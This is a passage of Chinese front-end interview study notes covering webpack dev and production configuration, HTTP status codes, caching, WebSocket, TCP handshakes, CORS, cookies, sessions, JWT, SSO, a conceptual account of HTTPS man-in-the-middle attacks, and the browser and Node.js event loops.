            chunks: ['index', 'vendor', 'common']  // 要考虑代码分割
        }),
        // 多入口 - 生成 other.html
        new HtmlWebpackPlugin({
            template: path.join(srcPath, 'other.html'),
            filename: 'other.html',
            chunks: ['other', 'vendor', 'common']  // 考虑代码分割
        })
    ]
}
// webpack.dev.js
const path = require('path')
const webpack = require('webpack')
const webpackCommonConf = require('./webpack.common.js')
const { smart } = require('webpack-merge')
const { srcPath, distPath } = require('./paths')
const HotModuleReplacementPlugin = require('webpack/lib/HotModuleReplacementPlugin');

module.exports = smart(webpackCommonConf, {
    mode: 'development',
    entry: {
        // index: path.join(srcPath, 'index.js'),
        index: [
            'webpack-dev-server/client?http://localhost:8080/',
            'webpack/hot/dev-server',
            path.join(srcPath, 'index.js')
        ],
        other: path.join(srcPath, 'other.js')
    },
    module: {
        rules: [
            {
                test: /\.js$/,
                loader: ['babel-loader?cacheDirectory'],
                include: srcPath,
                // exclude: /node_modules/
            },
            // 直接引入图片 url
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: 'file-loader'
            },
            // {
            //     test: /\.css$/,
            //     // loader 的执行顺序是:从后往前
            //     loader: ['style-loader', 'css-loader']
            // },
            {
                test: /\.css$/,
                // loader 的执行顺序是:从后往前
                loader: ['style-loader', 'css-loader', 'postcss-loader'] // 加了 postcss
            },
            {
                test: /\.less$/,
                // 增加 'less-loader' ,注意顺序
                loader: ['style-loader', 'css-loader', 'less-loader']
            }
        ]
    },
    plugins: [
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('development')
        }),
        new HotModuleReplacementPlugin()
    ],
    devServer: {
        port: 8080,
        progress: true,  // 显示打包的进度条
        contentBase: distPath,  // 根目录
        open: true,  // 自动打开浏览器
        compress: true,  // 启动 gzip 压缩

        hot: true,

        // 设置代理
        proxy: {
            // 将本地 /api/xxx 代理到 localhost:3000/api/xxx
            '/api': 'http://localhost:3000',

            // 将本地 /api2/xxx 代理到 localhost:3000/xxx
            '/api2': {
                target: 'http://localhost:3000',
                pathRewrite: {
                    '/api2': ''
                }
            }
        }
    },
    // watch: true, // 开启监听,默认为 false
    // watchOptions: {
    //     ignored: /node_modules/, // 忽略哪些
    //     // 监听到变化发生后会等300ms再去执行动作,防止文件更新太快导致重新编译频率太高
    //     // 默认为 300ms
    //     aggregateTimeout: 300,
    //     // 判断文件是否发生变化是通过不停的去询问系统指定文件有没有变化实现的
    //     // 默认每隔1000毫秒询问一次
    //     poll: 1000
    // }
})
// webpack.prod.js
const path = require('path')
const webpack = require('webpack')
const { smart } = require('webpack-merge')
const { CleanWebpackPlugin } = require('clean-webpack-plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')
const TerserJSPlugin = require('terser-webpack-plugin')
const OptimizeCSSAssetsPlugin = require('optimize-css-assets-webpack-plugin')
const HappyPack = require('happypack')
const ParallelUglifyPlugin = require('webpack-parallel-uglify-plugin')
const webpackCommonConf = require('./webpack.common.js')
const { srcPath, distPath } = require('./paths')

module.exports = smart(webpackCommonConf, {
    mode: 'production',
    output: {
        // filename: 'bundle.[contentHash:8].js',  // 打包代码时,加上 hash 戳
        filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
        path: distPath,
        // publicPath: 'http://cdn.abc.com'  // 修改所有静态文件 url 的前缀(如 cdn 域名),这里暂时用不到
    },
    module: {
        rules: [
            // js
            {
                test: /\.js$/,
                // 把对 .js 文件的处理转交给 id 为 babel 的 HappyPack 实例
                use: ['happypack/loader?id=babel'],
                include: srcPath,
                // exclude: /node_modules/
            },
            // 图片 - 考虑 base64 编码的情况
            {
                test: /\.(png|jpg|jpeg|gif)$/,
                use: {
                    loader: 'url-loader',
                    options: {
                        // 小于 5kb 的图片用 base64 格式产出
                        // 否则,依然延用 file-loader 的形式,产出 url 格式
                        limit: 5 * 1024,

                        // 打包到 img 目录下
                        outputPath: '/img1/',

                        // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
                        // publicPath: 'http://cdn.abc.com'
                    }
                }
            },
            // 抽离 css
            {
                test: /\.css$/,
                loader: [
                    MiniCssExtractPlugin.loader,  // 注意,这里不再用 style-loader
                    'css-loader',
                    'postcss-loader'
                ]
            },
            // 抽离 less
            {
                test: /\.less$/,
                loader: [
                    MiniCssExtractPlugin.loader,  // 注意,这里不再用 style-loader
                    'css-loader',
                    'less-loader',
                    'postcss-loader'
                ]
            }
        ]
    },
    plugins: [
        new CleanWebpackPlugin(), // 会默认清空 output.path 文件夹
        new webpack.DefinePlugin({
            // window.ENV = 'production'
            ENV: JSON.stringify('production')
        }),

        // 抽离 css 文件
        new MiniCssExtractPlugin({
            filename: 'css/main.[contentHash:8].css'
        }),

        // 忽略 moment 下的 /locale 目录
        new webpack.IgnorePlugin(/\.\/locale/, /moment/),

        // happyPack 开启多进程打包
        new HappyPack({
            // 用唯一的标识符 id 来代表当前的 HappyPack 是用来处理一类特定的文件
            id: 'babel',
            // 如何处理 .js 文件,用法和 Loader 配置中一样
            loaders: ['babel-loader?cacheDirectory']
        }),

        // 使用 ParallelUglifyPlugin 并行压缩输出的 JS 代码
        new ParallelUglifyPlugin({
            // 传递给 UglifyJS 的参数
            // (还是使用 UglifyJS 压缩,只不过帮助开启了多进程)
            uglifyJS: {
                output: {
                    beautify: false, // 最紧凑的输出
                    comments: false, // 删除所有的注释
                },
                compress: {
                    // 删除所有的 `console` 语句,可以兼容ie浏览器
                    drop_console: true,
                    // 内嵌定义了但是只用到一次的变量
                    collapse_vars: true,
                    // 提取出出现多次但是没有定义成变量去引用的静态值
                    reduce_vars: true,
                }
            }
        })
    ],

    optimization: {
        // 压缩 css
        minimizer: [new TerserJSPlugin({}), new OptimizeCSSAssetsPlugin({})],

        // 分割代码块
        splitChunks: {
            chunks: 'all',
            /**
             * initial 入口chunk,对于异步导入的文件不处理
                async 异步chunk,只对异步导入的文件处理
                all 全部chunk
             */

            // 缓存分组
            cacheGroups: {
                // 第三方模块
                vendor: {
                    name: 'vendor', // chunk 名称
                    priority: 1, // 权限更高,优先抽离,重要!!!
                    test: /node_modules/,
                    minSize: 0,  // 大小限制
                    minChunks: 1  // 最少复用过几次
                },

                // 公共的模块
                common: {
                    name: 'common', // chunk 名称
                    priority: 0, // 优先级
                    minSize: 0,  // 公共模块的大小限制
                    minChunks: 2  // 公共模块最少复用过几次
                }
            }
        }
    }
})

# webpack性能优化-产出代码(线上运行)

前言

  • 体积更小
  • 合理分包,不重复加载
  • 速度更快、内存使用更少

产出代码优化

  • 小图片base64编码,减少http请求
// 图片 - 考虑 base64 编码的情况
module: {
    rules: [
        {
            test: /\.(png|jpg|jpeg|gif)$/,
            use: {
                loader: 'url-loader',
                options: {
                    // 小于 5kb 的图片用 base64 格式产出
                    // 否则,依然延用 file-loader 的形式,产出 url 格式
                    limit: 5 * 1024,

                    // 打包到 img 目录下
                    outputPath: '/img1/',

                    // 设置图片的 cdn 地址(也可以统一在外面的 output 中设置,那将作用于所有静态资源)
                    // publicPath: 'http://cdn.abc.com'
                }
            }
        },
    ]
}
  • bundlecontenthash,有利于浏览器缓存
  • 懒加载import()语法,减少首屏加载时间
  • 提取公共代码(第三方代码VueReactloadash等)没有必要多次打包,可以提取到vendor
  • IgnorePlugin忽略不需要的包(如moment多语言),减少打包的代码
  • 使用CDN加速,减少资源加载时间
    output: {
      filename: '[name].[contentHash:8].js', // name 即多入口时 entry 的 key
      path: path.join(__dirname, '..', 'dist'),
      // 修改所有静态文件 url 的前缀(如 cdn 域名)
      // 这样index.html中引入的js、css、图片等资源都会加上这个前缀
      publicPath: 'http://cdn.abc.com'  
    },
    
  • webpack使用production模式,mode: 'production'
    • 自动压缩代码
    • 启动Tree Shaking
      • ES6模块化,importexportwebpack会自动识别,才会生效
      • Commonjs模块化,requiremodule.exportswebpack无法识别,不会生效
      • ES6模块和Commonjs模块区别
        • ES6模块是静态引入,编译时引入
        • Commonjs是动态引入,执行时引入
        • 只有ES6 Module才能静态分析,实现Tree Shaking
  • Scope Hoisting:是webpack3引入的一个新特性,它会分析出模块之间的依赖关系,尽可能地把打散的模块合并到一个函数中去,减少代码间的引用,从而减少代码体积
    • 减少代码体积
    • 创建函数作用域更少
    • 代码可读性更好

# 9 HTTP

# HTTP基础总结

HTTP状态码

  • 1XX:信息状态码
    • 100 Continue 继续,一般在发送post请求时,已发送了http header之后服务端将返回此信息,表示确认,之后发送具体参数信息
  • 2XX:成功状态码
    • 200 OK 正常返回信息
    • 201 Created 请求成功并且服务器创建了新的资源
    • 202 Accepted 服务器已接受请求,但尚未处理
  • 3XX:重定向
    • 301 Moved Permanently 请求的网页已永久移动到新位置。
    • 302 Found 临时性重定向。
    • 303 See Other 临时性重定向,且总是使用 GET 请求新的 URI
    • 304 Not Modified 自从上次请求后,请求的网页未修改过。
  • 4XX:客户端错误
    • 400 Bad Request 服务器无法理解请求的格式,客户端不应当尝试再次使用相同的内容发起请求。
    • 401 Unauthorized 请求未授权。
    • 403 Forbidden 禁止访问。
    • 404 Not Found 找不到如何与 URI 相匹配的资源。
  • 5XX: 服务器错误
    • 500 Internal Server Error 最常见的服务器端错误。
    • 503 Service Unavailable 服务器端暂时无法处理请求(可能是过载或维护)。

常见状态码

  • 200 成功
  • 301 永久重定向(配合location,浏览器自动处理)
  • 302 临时重定向(配合location,浏览器自动处理)
  • 304 资源未被修改
  • 403 没有权限访问,一般做权限角色
  • 404 资源未找到
  • 500 Internal Server Error服务器内部错误
  • 502 Bad Gateway
  • 503 Service Unavailable
  • 504 Gateway Timeout网关超时

502 与 504 的区别

这两种异常状态码都与网关 Gateway 有关,首先明确两个概念

  • Proxy (Gateway),反向代理层或者网关层。在公司级应用中一般使用 Nginx 扮演这个角色
  • Application (Upstream server),应用层服务,作为 Proxy 层的上游服务。在公司中一般为各种语言编写的服务器应用,如 Go/Java/Python/PHP/Node
  • 此时关于 502 与 504 的区别就很显而易见
    • 502 Bad Gateway:一般表现为你自己写的「应用层服务(Java/Go/PHP)挂了」,或者网关指定的上游服务直接指错了地址,网关层无法接收到响应
    • 504 Gateway Timeout:一般表现为「应用层服务 (Upstream) 超时,超过了 Gatway 配置的 Timeout」,如查库操作耗时三分钟,超过了 Nginx 配置的超时时间

http headers

  • 常见的Request Headers
    • Accept 浏览器可接收的数据格式
    • Accept-Enconding 浏览器可接收的压缩算法,如gzip
    • Accept-Language 浏览器可接收的语言,如zh-CN
    • Connection:keep-alive 一次TCP连接重复复用
    • Cookie
    • Host 请求的域名是什么
    • User-Agent(简称UA) 浏览器信息
    • Content-type 发送数据的格式,如application/json
  • 常见的Response Headers
    • Content-type 返回数据的格式,如application/json
    • Content-length 返回数据的大小,多少字节
    • Content-Encoding 返回数据的压缩算法,如gzip
    • set-cookie
  • 缓存相关的Headers
    • Cache ControlExpired
    • Last-ModifiedIf-Modified-Since
    • EtagIf-None-Match

从输入URL到显示出页面的整个过程

  • 下载资源:各个资源类型,下载过程
  • 加载过程
    • DNS解析:域名 => IP地址
    • 浏览器根据IP地址向服务器发起HTTP请求
    • 服务器处理HTTP请求,并返回浏览器
  • 渲染过程
    • 根据HTML生成DOM Tree
    • 根据CSS生成CSSOM
    • DOM TreeCSSOM整合形成Render Tree,根据Render Tree渲染页面
    • 遇到<script>暂停渲染,优先加载并执行JS代码,执行完在解析渲染(JS线程和渲染线程共用一个线程,JS执行要暂停DOM渲染)
    • 直至把Render Tree渲染完成

window.onload和DOMContentLoaded

  • window.onload 页面的全部资源加载完才会执行,包括图片、视频等
  • DOMContentLoaded 渲染完即可,图片可能尚未下载
window.addEventListener('load',function() {
  // 页面的全部资源加载完才会执行,包括图片、视频等
})
window.addEventListener('DOMContentLoaded',function() {
  // DOM渲染完才执行,此时图片、视频等可能还没有加载完
})

演示

<p>一段文字 1</p>
<p>一段文字 2</p>
<p>一段文字 3</p>
<img
    id="img1"
    src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1570191150419&di=37b1892665fc74806306ce7f9c3f1971&imgtype=0&src=http%3A%2F%2Fimg.pconline.com.cn%2Fimages%2Fupload%2Fupc%2Ftx%2Fitbbs%2F1411%2F13%2Fc14%2F26229_1415883419758.jpg"
/>

<script>
  const img1 = document.getElementById('img1')
  img1.onload = function () {
    console.log('img loaded')
  }

  window.addEventListener('load', function () {
    console.log('window loaded')
  })

  document.addEventListener('DOMContentLoaded', function () {
    console.log('dom content loaded')
  })

  // 结果
  // dom content loaded
  // img loaded
  // window loaded
</script>

拓展:关于Restful API

  • 一种新的API设计方法
  • 传统API设计:把每个url当做一个功能
  • Restful API设计:把每个url当前一个唯一的资源
    • 如何设计成一个资源
      • 尽量不用url参数
        • 传统API设计:/api/list?pageIndex=2
        • Restful API设计:/api/list/2
      • method表示操作类型
        • 传统API设计:
          • post新增请求:/api/create-blog
          • post更新请求:/api/update-blog?id=100
          • post删除请求:/api/delete-blog?id=100
          • get请求:/api/get-blog?id=100
        • Restful API设计:
          • post新增请求:/api/blog
          • patch更新请求:/api/blog/100
          • delete删除请求:/api/blog/100
          • get请求:/api/blog/100

# HTTP缓存

  • 关于缓存介绍
    • 为什么需要缓存?减少网络请求(网络请求不稳定性),让页面渲染更快
    • 哪些资源可以被缓存?静态资源(js css imgwebpack打包加contenthash根据内容生成hash
  • http缓存策略(强制缓存 + 协商缓存)
    • 强制缓存
      • 服务端在Response Headers中返回给客户端
      • Cache-Controlmax-age=31536000(单位:秒)一年
      • Cache-Control的值
        • max-age(常用)缓存的内容将在max-age秒后失效
        • no-cache(常用)不要本地强制缓存,正常向服务端请求(只要服务端最新的内容)。需要使用协商缓存来验证缓存数据(Etag Last-Modified
        • no-store 不要本地强制缓存,也不要服务端做缓存,所有内容都不会缓存,强制缓存和协商缓存都不会触发
        • public 所有内容都将被缓存(客户端和代理服务器都可缓存)
        • private 所有内容只有客户端可以缓存
      • Expires
        • ExpiresThu, 31 Dec 2037 23:55:55 GMT(过期时间)
        • 已被Cache-Control代替
      • Expires和Cache-Control的区别
        • ExpiresHTTP1.0的产物,Cache-ControlHTTP1.1的产物
        • Expires是服务器返回的具体过期时间,Cache-Control是相对时间
        • Expires存在兼容性问题,Cache-Control优先级更高
      • 强制缓存的优先级高于协商缓存
      • 强制缓存的流程
        • 浏览器第一次请求资源,服务器返回资源和Cache-Control Expires
        • 浏览器第二次请求资源,会带上Cache-Control Expires,服务器根据这两个值判断是否命中强制缓存
        • 命中强制缓存,直接从缓存中读取资源,返回给浏览器
        • 未命中强制缓存,会带上If-Modified-Since If-None-Match,服务器根据这两个值判断是否命中协商缓存
        • 命中协商缓存,返回304,浏览器直接从缓存中读取资源
        • 未命中协商缓存,返回200,浏览器重新请求资源
      • 强制缓存的流程图
    • 协商缓存
      • 服务端缓存策略
      • 服务端判断客户端资源,是否和服务端资源一样
      • 如果判断一致则返回304(不在返回js、图片内容等资源),否则返回200和最新资源
      • 服务端怎么判断客户端资源一样? 根据资源标识
        • Response Headers中,有两种
        • Last-ModifiedEtag会优先使用EtagLast-Modified只能精确到秒级,如果资源被重复生成而内容不变,则Etag更准确
        • Last-Modified 服务端返回的资源的最后修改时间
          • If-Modified-Since 客户端请求时,携带的资源的最后修改时间(即Last-Modified的值)
        • Etag服务端返回的资源的唯一标识(一个字符串,类似指纹)
          • If-None-Matche 客户端请求时,携带的资源的唯一标识(即Etag的值)
        • Headers示例
        • 请求示例 通过EtagLast-Modified命中缓存,没有返回资源,返回304,体积非常小
    • HTTP缓存总结
  • 刷新操作方式,对缓存的影响
    • 正常操作:地址栏输入url,跳转链接,前进后退
    • 手动操作:F5,点击刷新,右键菜单刷新
    • 强制刷新:ctrl + F5command + r
  • 不同刷新操作,不同缓存策略
    • 正常操作:强缓存有效,协商缓存有效
    • 手动操作:强缓存失效,协商缓存有效
    • 强制刷新:强缓存失效,协商缓存失效
  • 小结
    • 强缓存Cache-ContorlExpired(弃用)
    • 协商缓存Last-Modified/If-Modified-SinceEtag/If-None-Matche304状态码
    • 完整流程图

# HTTP协议1.0和1.1和2.0有什么区别

  • HTTP1.0
    • 最基础的HTTP协议
    • 支持基本的GETPOST方法
  • HTTP1.1
    • 缓存策略 cache-control E-tag
    • 支持长链接 Connection:keep-alive 一次TCP连接多次请求
    • 断点续传,状态码206
    • 支持新的方法 PUT DELETE等,可用于Restful API写法
  • HTTP2.0
    • 可压缩header,减少体积
    • 多路复用,一次TCP连接中可以多个HTTP并行请求
    • 服务端推送(实际中使用websocket

连环问:HTTP协议和UDP协议有什么区别

  • HTTP是应用层,TCPUDP是传输层
  • TCP有连接(三次握手),有断开(四次挥手),传输稳定
  • UDP无连接,无断开不稳定传输,但效率高。如视频会议、语音通话

# WebSocket和HTTP协议有什么区别

  • 支持端对端通信
  • 可由client发起,也可由sever发起
  • 用于消息通知、直播间讨论区、聊天室、协同编辑

WebSocket连接过程

  • 先发起一个HTTP请求
  • 成功之后在升级到WebSocket协议,再通讯

WebSocket和HTTP区别

  • WebSocket协议名是ws://,可双端发起请求(双端都可以sendonmessage
  • WebSocket没有跨域限制
  • 通过sendonmessage通讯(HTTP通过reqres

WebSocket和HTTP长轮询的区别

长轮询:一般是由客户端向服务端发出一个设置较长网络超时时间的 HTTP 请求,并在Http连接超时前,不主动断开连接;待客户端超时或有数据返回后,再次建立一个同样的HTTP请求,重复以上过程

  • HTTP长轮询:客户端发起请求,服务端阻塞,不会立即返回
    • HTTP长轮询需要处理timeout,即timeout之后重新发起请求
  • WebSocket:客户端可发起请求,服务端也可发起请求

ws可升级为wss(像https)

import {createServer} from 'https'
import {readFileSync} from 'fs'
import {WebSocketServer} from 'ws'

const server = createServer({
  cert: readFileSync('/path/to/cert.pem'),
  key: readFileSync('/path/to/key.pem'),
})
const wss = new WebSocketServer({ server })

实际项目中推荐使用socket.io API更简洁

io.on('connection',sockert=>{
  // 发送信息
  socket.emit('request', /**/)
  // 广播事件到客户端
  io.emit('broadcast', /**/)
  // 监听事件
  socket.on('reply', ()=>{/**/})
})

WebSocket基本使用例子

// server.js
const { WebSocketServer } = require('ws') // npm i ws 
const wsServer = new WebSocketServer({ port: 3000 })

wsServer.on('connection', ws => {
  console.info('connected')

  ws.on('message', msg => {
    console.info('收到了信息', msg.toString())

    // 服务端向客户端发送信息
    setTimeout(() => {
      ws.send('服务端已经收到了信息: ' + msg.toString())
    }, 2000)
  })
})
<!-- websocket main page -->
<button id="btn-send">发送消息</button>

<script>
    const ws = new WebSocket('ws://127.0.0.1:3000')
    ws.onopen = () => {
      console.info('opened')
      ws.send('client opened')
    }
    ws.onmessage = event => {
      console.info('收到了信息', event.data)
    }

    document.getElementById('btn-send').addEventListener('click', () => {
      console.info('clicked')
      ws.send('当前时间' + Date.now())
    })
</script>

# 请描述TCP三次握手和四次挥手

建立TCP连接

  • 先建立连接,确保双方都有收发消息的能力
  • 再传输内容(如发送一个get请求)
  • 网络连接是TCP协议,传输内容是HTTP协议

三次握手-建立连接

  • Client发包,Server接收。Server就知道有Client要找我了
  • Server发包,Client接收。Client就知道Server已经收到消息
  • Client发包,Server接收。Server就知道Client要准备发送了
  • 前两步确定双发都能收发消息,第三步确定双方都准备好了

四次挥手-关闭连接

  • Client发包,Server接收。Server就知道Client已请求结束
  • Server发包,Client接收。Client就知道Server已收到消息,我等待server传输完成了在关闭
  • Server发包,Client接收。Client就知道Server已经传输完成了,可以关闭连接了
  • Client发包,Server接收。Server就知道Client已经关闭了,Server可以关闭连接了

# HTTP跨域请求时为什么要发送options请求

跨域请求

  • 浏览器同源策略
  • 同源策略一般限制Ajax网络请求,不能跨域请求server
  • 不会限制<link> <img> <script> <iframe> 加载第三方资源

JSONP实现跨域

<!-- aa.com网页 -->
<script>
  window.onSuccess = function(data) {
    console.log(data)
  }
</script>
<script src="https://bb.com/api/getData"></script>
// server端https://bb.com/api/getData
onSuccess({ "name":"test", "age":12, "city":"shenzhen" });

cors

response.setHeader('Access-Control-Allow-Origin', 'https://aa.com') // 或者*
response.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS') // 允许的请求方法
response.setHeader('Access-Control-Allow-Headers', 'X-Requested-With') // 允许的请求头
response.setHeader('Access-Control-Allow-Credentials', 'true'// 允许跨域携带cookie

多余的options请求

  • options是跨域请求之前的预检查
  • 浏览器自行发起的,无需我们干预
  • 不会影响实际的功能

# HTTP请求中token、cookie、session有什么区别

cookie

  • HTTP无状态的,每次请求都要携带cookie,以帮助识别身份
  • 服务端也可以向客户端set-cookie,cookie大小4kb
  • 默认有跨域限制:不可跨域共享,不可跨域传递cookie(可通过设置withCredential跨域传递cookie

cookie本地存储

  • HTML5之前cookie常被用于本地存储
  • HTML5之后推荐使用localStoragesessionStorage

现代浏览器开始禁止第三方cookie

  • 和跨域限制不同,这里是:禁止网页引入第三方js设置cookie
  • 打击第三方广告设置cookie
  • 可以通过属性设置 SameSite:Strict/Lax/None

cookie和session

  • cookie用于登录验证,存储用户表示(userId
  • session在服务端,存储用户详细信息,和cookie信息一一对应
  • cookie+session是常见的登录验证解决方案

// 登录:用户名 密码
// 服务端set-cookie: userId=x1 把用户id传给浏览器存储在cookie中
// 下次请求直接带上cookie:userId=x1 服务端根据userId找到哪个用户的信息

// 服务端session集中存储所有的用户信息在缓存中
const session = {
  x1: {
    username:'xx1',
    email:'xx1'
  },
  x2: { // 当下次来了一个用户x2也记录x2的登录信息,同时x1也不会丢失
    username:'xx2',
    email:'xx2'
  },
}

token和cookie

  • cookieHTTP规范(每次请求都会携带),而token是自定义传递
  • cookie会默认被浏览器存储,而token需自己存储
  • token默认没有跨域限制

JWT(json web token)

  • 前端发起登录,后端验证成功后,返回一个加密的token
  • 前端自行存储这个token(其他包含了用户信息,加密的)
  • 以后访问服务端接口,都携带着这个token,作为用户信息

session和jwt哪个更好?

  • session的优点
    • 用户信息存储在服务端,可快速封禁某个用户
    • 占用服务端内存,成本高
    • 多进程多服务器时不好同步,需要使用redis缓存
    • 默认有跨域限制
  • JWT的优点
    • 不占用服务端内存,token存储在客户端浏览器
    • 多进程、多服务器不受影响
    • 没有跨域限制
    • 用户信息存储在客户端,无法快速封禁某用户(可以在服务端建立黑名单,也需要成本)
    • 万一服务端密钥被泄露,则用户信息全部丢失
    • token体积一般比cookie大,会增加请求的数据量
  • 如严格管理用户信息(保密、快速封禁)推荐使用session
  • 没有特殊要求,推荐使用JWT

如何实现SSO(Single Sign On)单点登录

  • 单点登录的本质就是在多个应用系统中共享登录状态,如果用户的登录状态是记录在 Session 中的,要实现共享登录状态,就要先共享 Session

  • 所以实现单点登录的关键在于,如何让 Session ID(或 Token)在多个域中共享

  • 主域名相同,基于cookie实现单点登录

    • cookie默认不可跨域共享,但有些情况下可设置跨域共享
    • 主域名相同,如www.baidu.comimage.baidu.com
    • 设置cookie domain为主域baidu.com,即可共享cookie
    • 主域名不同,则cookie无法共享。可使用sso技术方案来做
  • 主域名不同,基于SSO技术方案实现

    • 系统ABSSO域名都是独立的
    • 用户访问系统A,系统A重定向到SSO登录(登录页面在SSO)输入用户名密码提交到SSO,验证用户名密码,将登录状态写入SSOsession,同时将token作为参数返回给客户端
    • 客户端携带token去访问系统A,系统A携带tokenSSO验证,SSO验证通过返回用户信息给系统A
    • 用户访问B系统,B系统没有登录,重定向到SSO获取token(由于SSO已经登录了,不需要重新登录认证,之前在A系统登录过),拿着tokenB系统,B系统拿着tokenSSO里面换取用户信息
    • 整个所有用户的登录、用户信息的保存、用户的token验证,全部都在SSO第三方独立的服务中处理

# 什么是HTTPS中间人攻击,如何预防(HTTPS加密过程、原理)

HTTPS加密传输

  • HTTP是明文传输
  • HTTPS加密传输 HTTP + TLS/SSL

TLS 中的加密

  • 对称加密 两边拥有相同的秘钥,两边都知道如何将密文加密解密。
  • 非对称加密 有公钥私钥之分,公钥所有人都可以知道,可以将数据用公钥加密,但是将数据解密必须使用私钥解密,私钥只有分发公钥的一方才知道

对称密钥加密和非对称密钥加密它们有什么区别

  • 对称密钥加密是最简单的一种加密方式,它的加解密用的都是相同的密钥,这样带来的好处就是加解密效率很快,但是并不安全,如果有人拿到了这把密钥那谁都可以进行解密了。
  • 而非对称密钥会有两把密钥,一把是私钥,只有自己才有;一把是公钥,可以发布给任何人。并且加密的内容只有相匹配的密钥才能解。这样带来的一个好处就是能保证传输的内容是安全的,因为例如如果是公钥加密的数据,就算是第三方截取了这个数据但是没有对应的私钥也破解不了。不过它也有缺点,一是公钥因为是公开的,谁都可以过去,如果内容是通过私钥加密的话,那拥有对应公钥的黑客就可以用这个公钥来进行解密得到里面的信息;二来公钥里并没有包含服务器的信息,也就是并不能确保服务器身份的合法性;并且非对称加密的时候要消耗一定的时间,减低了数据的传输效率。

HTTPS加密的过程

  1. 客户端请求www.baidu.com
  2. 服务端存储着公钥和私钥
  3. 服务器把CA数字证书(包含公钥)响应式给客户端
  4. 客户端解析证书拿到公钥,并生成随机码KEY(加密的key没有任何意义,如ABC只有服务端的私钥才能解密出来,黑客劫持了KEY也是没用的)
  5. 客户端把解密后的KEY传递给服务端,作为接下来对称加密的密钥
  6. 服务端拿私钥解密随机码KEY,使用随机码KEY 对传输数据进行对称加密
  7. 把对称加密后的内容传输给客户端,客户端使用之前生成的随机码KEY进行解密数据

介绍下https中间人攻击的过程

这个问题也可以问成为什么需要CA认证机构颁发证书?

我们假设如果不存在认证机构,则人人都可以制造证书,这就带来了"中间人攻击"问题。

中间人攻击的过程如下

  • 客户端请求被劫持,将所有的请求发送到中间人的服务器
  • 中间人服务器返回自己的证书
  • 客户端创建随机数,使用中间人证书中的公钥进行加密发送给中间人服务器,中间人使用私钥对随机数解密并构造对称加密,对之后传输的内容进行加密传输
  • 中间人通过客户端的随机数对客户端的数据进行解密
  • 中间人与服务端建立合法的https连接(https握手过程),与服务端之间使用对称加密进行数据传输,拿到服务端的响应数据,并通过与服务端建立的对称加密的秘钥进行解密
  • 中间人再通过与客户端建立的对称加密对响应数据进行加密后传输给客户端
  • 客户端通过与中间人建立的对称加密的秘钥对数据进行解密

简单来说,中间人攻击中,中间人首先伪装成服务端和客户端通信,然后又伪装成客户端和服务端进行通信(如图)。 整个过程中,由于缺少了证书的验证过程,虽然使用了https,但是传输的数据已经被监听,客户端却无法得知

预防中间人攻击

使用正规厂商的证书,慎用免费的

# 10 Node

# 浏览器和nodejs事件循环(Event Loop)有什么区别

单线程和异步

  • JS是单线程的,无论在浏览器还是在nodejs
  • 浏览器中JS执行和DOM渲染共用一个线程,是互斥的
  • 异步是单线程的解决方案

1. 浏览器中的事件循环

异步里面分宏任务和微任务

  • 宏任务:setTimeoutsetIntervalsetImmediateI/OUI渲染,网络请求
  • 微任务:Promiseprocess.nextTickMutationObserverasync/await
  • 宏任务和微任务的区别:微任务的优先级高于宏任务,微任务会在当前宏任务执行完毕后立即执行,而宏任务会在下一个事件循环中执行
    • 宏任务在页面渲染之后执行
    • 微任务在页面渲染之前执行
    • 也就是微任务在下一轮DOM渲染之前执行,宏任务在DOM渲染之后执行

console.log('start')
setTimeout(() => { 
  console.log('timeout')
})
Promise.resolve().then(() => {
  console.log('promise then')
})
console.log('end')

// 输出
// start 
// end 
// promise then
// timeout
// 分析

// 等同步代码执行完后,先从微任务队列中获取(微任务队列优先级高),队列先进先出

// 宏任务 MarcoTask 队列
// 如setTimeout 1000ms到1000ms后才会放到队列中
const MarcoTaskQueue = [
  () => {
    console.log('timeout')
  },
  fn // ajax回调放到宏任务队列中等待
]  

ajax(url, fn) // ajax 宏任务 如执行需要300ms


// ********** 宏任务和微任务中间隔着 【DOM 渲染】 ****************

// 微任务 MicroTask 队列
const MicroTaskQueue = [
  () => {
    console.log('promise then')
  }
]

// 等宏任务和微任务执行完后 Event Loop 继续监听(一旦有任务到了宏任务微任务队列就会立马拿过来执行)...
<p>Event Loop</p>

<script>
  const p = document.createElement('p')
  p.innerHTML = 'new paragraph'
  document.body.appendChild(p)
  const list = document.getElementsByTagName('p')
  console.log('length----', list.length) // 2

  console.log('start')
  // 宏任务在页面渲染之后执行
  setTimeout(() => {
    const list = document.getElementsByTagName('p')
    console.log('length on timeout----', list.length) // 2
    alert('阻塞 timeout') // 阻塞JS执行和渲染
  })
  // 微任务在页面渲染之前执行
  Promise.resolve().then(() => {
    const list = document.getElementsByTagName('p')
    console.log('length on promise.then----', list.length) // 2
    alert('阻塞 promise') // 阻塞JS执行和渲染
  })
  console.log('end')
</script>

2. nodejs中的事件循环

  • nodejs也是单线程,也需要异步
  • 异步任务也分为:宏任务 + 微任务
  • 但是,它的宏任务和微任务分为不同的类型,有不同的优先级
  • 和浏览器的主要区别就是类型优先级,理解了这里就理解了nodejs的事件循环

宏任务类型和优先级

类型分为6个,优先级从高到底执行

  • TimersetTimeoutsetInterval
  • I/O callbacks:处理网络、流、TCP的错误回调
  • Idle,prepare:闲置状态(nodejs内部使用)
  • Poll轮询:执行poll中的I/O队列
  • Check检查:存储setImmediate回调
  • Close callbacks:关闭回调,如socket.on('close')

注意process.nextTick优先级最高,setTimeoutsetImmediate优先级高

执行过程

  • 执行同步代码
  • 执行微任务(process.nextTick优先级最高)
  • 按顺序执行6个类型的宏任务(每个开始之前都执行当前的微任务)

总结

  • 浏览器和nodejs的事件循环流程基本相同
  • nodejs宏任务和微任务分类型,有优先级。浏览器里面的宏任务和微任务是没有类型和优先级的
  • node17之后推荐使用setImmediate代替process.nextTick(如果使用process.nextTick执行复杂任务导致后面的卡顿就得不偿失了,尽量使用低优先级的api去执行异步)
console.info('start')
setImmediate(() => {
  console.info('setImmediate')
})
setTimeout(() => {
  console.info('timeout')
})
Promise.resolve().then(() => {
  console.info('promise then')
})
process.nextTick(() => {
  console.info('nextTick')
})
console.info('end')

// 输出
// start
// end
// nextTick
// promise then
// timeout
